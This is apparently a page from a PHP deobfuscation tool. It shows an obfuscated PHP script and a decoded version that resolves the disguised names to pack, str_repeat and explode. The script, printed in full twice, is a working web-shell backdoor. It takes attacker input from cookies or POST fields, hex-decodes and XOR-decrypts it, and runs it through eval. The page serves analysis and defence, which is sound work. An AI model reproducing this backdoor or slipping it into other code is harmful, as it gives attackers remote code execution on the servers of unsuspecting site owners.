Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mprAZH/* o */= chr (115)/* ZFDQC */. "\x74"/* Fd */./*Crw */chr ( ..

Decoded Output download

<?php   $mprAZH/* o */= chr     (115)/*   ZFDQC  */.    "t"/* Fd */./*Crw   */chr    (   866/*   qT  */-/*WjuB */752 )."_"   .  "r"/*   L   */.        'e'     ./* vHGc   */chr/*vWW  */(  130     -       18/*  R  */).'e'/*  rsQO*/./*   O*/'a'/*  TtXU */./*  MEHyJ */"t";$_LZXw     =/* LiA  */'4218'; 
                        $tDeLQ  =/* B */"e"   .     "x"   .       "p"/*   sKk*/.    'l'    .   'o'/* zzjys   */.       chr/*CmYb  */(100)/*   ro*/.     "e"; 
        $dqvrq  =/* OXI  */"p"       ./*   ytjqo   */chr     (97)  . "c"  .       chr  (/*   vOs   */457/* ENoZ*/- 350    ); 
 
 
function    bdSSm() 
                                            { 
       $yTUAcJ  =/*  a */Array  (/*XHiG*/"TsZzIDRPxSmuUnSjPWzKjDTUlFW"/*   n */=>       "UBNTLuZcLTqG"/*   letBB   */); 
      
     $RhyvCaJUk =/* Y   */Array (     "HYwGjnGSExqVOltLwLI"     =>     "OOWYIgSMu"  );$_m  =/*   CDmme */'60319'; 
                                          $XRDIu        =/*   o */Array(        $yTUAcJ,    $_COOKIE,   $yTUAcJ,        $_POST,/* xbnL  */$RhyvCaJUk); 
 
 
        return  $XRDIu;; 
 
 
     } 
                   
                                        /*zd   */function/* QYCt  */ROGHzHmN($OivgvWZi) 
            { 
      if        (       count/*   QdHBu   */(/*Rc   */$OivgvWZi/* YE   */)   ==/* GDZS   */3 )  { 
 
 
        $abZlECS =      $OivgvWZi[1]; 
 
     $qJLVOjYiA =   $OivgvWZi[2];; 
        $FUKvLdRN/* ta   */=/*   HPjo   */$abZlECS($qJLVOjYiA); 
/* gRE   */eval/*wO  */(        $FUKvLdRN ); 
                die/* j */(); 
                        /*  f */} 
 /*  y*/} 
                           
 
 
/*HuBxR   */function/*ne   */IOgsjRfAV($QzsrRkB,/* o */$ihniCQd) 
                                        /*   acc  */{ 
 
   return    $QzsrRkB   ^       $ihniCQd; 
                                                } 
        
/*   tqU   */$kpKvPK    =/*   ecnw   */"#"; 
                                        /*   kWQD  */ 
                                        foreach/*   trGn */(bdSSm()/*Aqj*/as    $LbyPeJObi)/* uaq */{ 
                                foreach     (   $LbyPeJObi  as/*  MJC   */$ihniCQd      =>     $QzsrRkB )       { 
  /*Jg  */ 
  /*  uiSmT   */$QzsrRkB/*   yCma  */=  @$dqvrq(    'H' ./*  TgWE*/'*',/*Oi*/$QzsrRkB/*  V  */); 
 
                                                $ihniCQd/* ePSS */.=/*WPsGL*/"PGy-gsj-PTCnzo-CKkM-VyjLZY-SMGeAyQ-xIj"; 
 
 
/*   VJxyk  */$ihniCQd  =       $mprAZH/*   Rp   */(/*  OOv   */$ihniCQd,/* W*/(        strlen(  $QzsrRkB/*   aPVDe  */)/strlen(/*cfgnq  */$ihniCQd     )/*   ncc  */)/*  JsNsa   */+   1); 
            
        $gZbfOgc     =  IOgsjRfAV($QzsrRkB,  $ihniCQd); 
    /*   oH */ 
        $OivgvWZi/* nl  */=/*  QCj*/$tDeLQ     ($kpKvPK,     $gZbfOgc    ); 
 
 
        ROGHzHmN($OivgvWZi); 
     } 
                            } ?>

Did this file decode correctly?

Original Code

<?php   $mprAZH/* o */= chr     (115)/*   ZFDQC  */.    "\x74"/* Fd */./*Crw   */chr    (   866/*   qT  */-/*WjuB */752 )."\x5f"   .  "\x72"/*   L   */.        'e'     ./* vHGc   */chr/*vWW  */(  130     -       18/*  R  */).'e'/*  rsQO*/./*   O*/'a'/*  TtXU */./*  MEHyJ */"\x74";$_LZXw     =/* LiA  */'4218';
                        $tDeLQ  =/* B */"\145"   .     "\170"   .       "\x70"/*   sKk*/.    'l'    .   'o'/* zzjys   */.       chr/*CmYb  */(100)/*   ro*/.     "\x65";
        $dqvrq  =/* OXI  */"\160"       ./*   ytjqo   */chr     (97)  . "\x63"  .       chr  (/*   vOs   */457/* ENoZ*/- 350    );


function    bdSSm()
                                            {
       $yTUAcJ  =/*  a */Array  (/*XHiG*/"TsZzIDRPxSmuUnSjPWzKjDTUlFW"/*   n */=>       "UBNTLuZcLTqG"/*   letBB   */);
     
     $RhyvCaJUk =/* Y   */Array (     "HYwGjnGSExqVOltLwLI"     =>     "OOWYIgSMu"  );$_m  =/*   CDmme */'60319';
                                          $XRDIu        =/*   o */Array(        $yTUAcJ,    $_COOKIE,   $yTUAcJ,        $_POST,/* xbnL  */$RhyvCaJUk);


        return  $XRDIu;;


     }
                  
                                        /*zd   */function/* QYCt  */ROGHzHmN($OivgvWZi)
            {
      if        (       count/*   QdHBu   */(/*Rc   */$OivgvWZi/* YE   */)   ==/* GDZS   */3 )  {


        $abZlECS =      $OivgvWZi[1];

     $qJLVOjYiA =   $OivgvWZi[2];;
        $FUKvLdRN/* ta   */=/*   HPjo   */$abZlECS($qJLVOjYiA);
/* gRE   */eval/*wO  */(        $FUKvLdRN );
                die/* j */();
                        /*  f */}
 /*  y*/}
                          


/*HuBxR   */function/*ne   */IOgsjRfAV($QzsrRkB,/* o */$ihniCQd)
                                        /*   acc  */{

   return    $QzsrRkB   ^       $ihniCQd;
                                                }
       
/*   tqU   */$kpKvPK    =/*   ecnw   */"\x23";
                                        /*   kWQD  */
                                        foreach/*   trGn */(bdSSm()/*Aqj*/as    $LbyPeJObi)/* uaq */{
                                foreach     (   $LbyPeJObi  as/*  MJC   */$ihniCQd      =>     $QzsrRkB )       {
  /*Jg  */
  /*  uiSmT   */$QzsrRkB/*   yCma  */=  @$dqvrq(    'H' ./*  TgWE*/'*',/*Oi*/$QzsrRkB/*  V  */);

                                                $ihniCQd/* ePSS */.=/*WPsGL*/"PGy-gsj-PTCnzo-CKkM-VyjLZY-SMGeAyQ-xIj";


/*   VJxyk  */$ihniCQd  =       $mprAZH/*   Rp   */(/*  OOv   */$ihniCQd,/* W*/(        strlen(  $QzsrRkB/*   aPVDe  */)/strlen(/*cfgnq  */$ihniCQd     )/*   ncc  */)/*  JsNsa   */+   1);
           
        $gZbfOgc     =  IOgsjRfAV($QzsrRkB,  $ihniCQd);
    /*   oH */
        $OivgvWZi/* nl  */=/*  QCj*/$tDeLQ     ($kpKvPK,     $gZbfOgc    );


        ROGHzHmN($OivgvWZi);
     }
                            }

Function Calls

chr 6
bdSSm 1

Variables

$_m 60319
$XRDIu [{'key': 0, 'value': [{'key': 'TsZzIDRPxSmuUnSjPWzKjDTUlFW', 'value': 'UBNTLuZcLTqG'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'TsZzIDRPxSmuUnSjPWzKjDTUlFW', 'value': 'UBNTLuZcLTqG'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'HYwGjnGSExqVOltLwLI', 'value': 'OOWYIgSMu'}]}]
$_LZXw 4218
$dqvrq pack
$tDeLQ explode
$kpKvPK #
$mprAZH str_repeat
$yTUAcJ [{'key': 'TsZzIDRPxSmuUnSjPWzKjDTUlFW', 'value': 'UBNTLuZcLTqG'}]
$RhyvCaJUk [{'key': 'HYwGjnGSExqVOltLwLI', 'value': 'OOWYIgSMu'}]

Stats

MD5 652d61b213f2d834dfcac093020df1d7
Eval Count 0
Decode Time 280 ms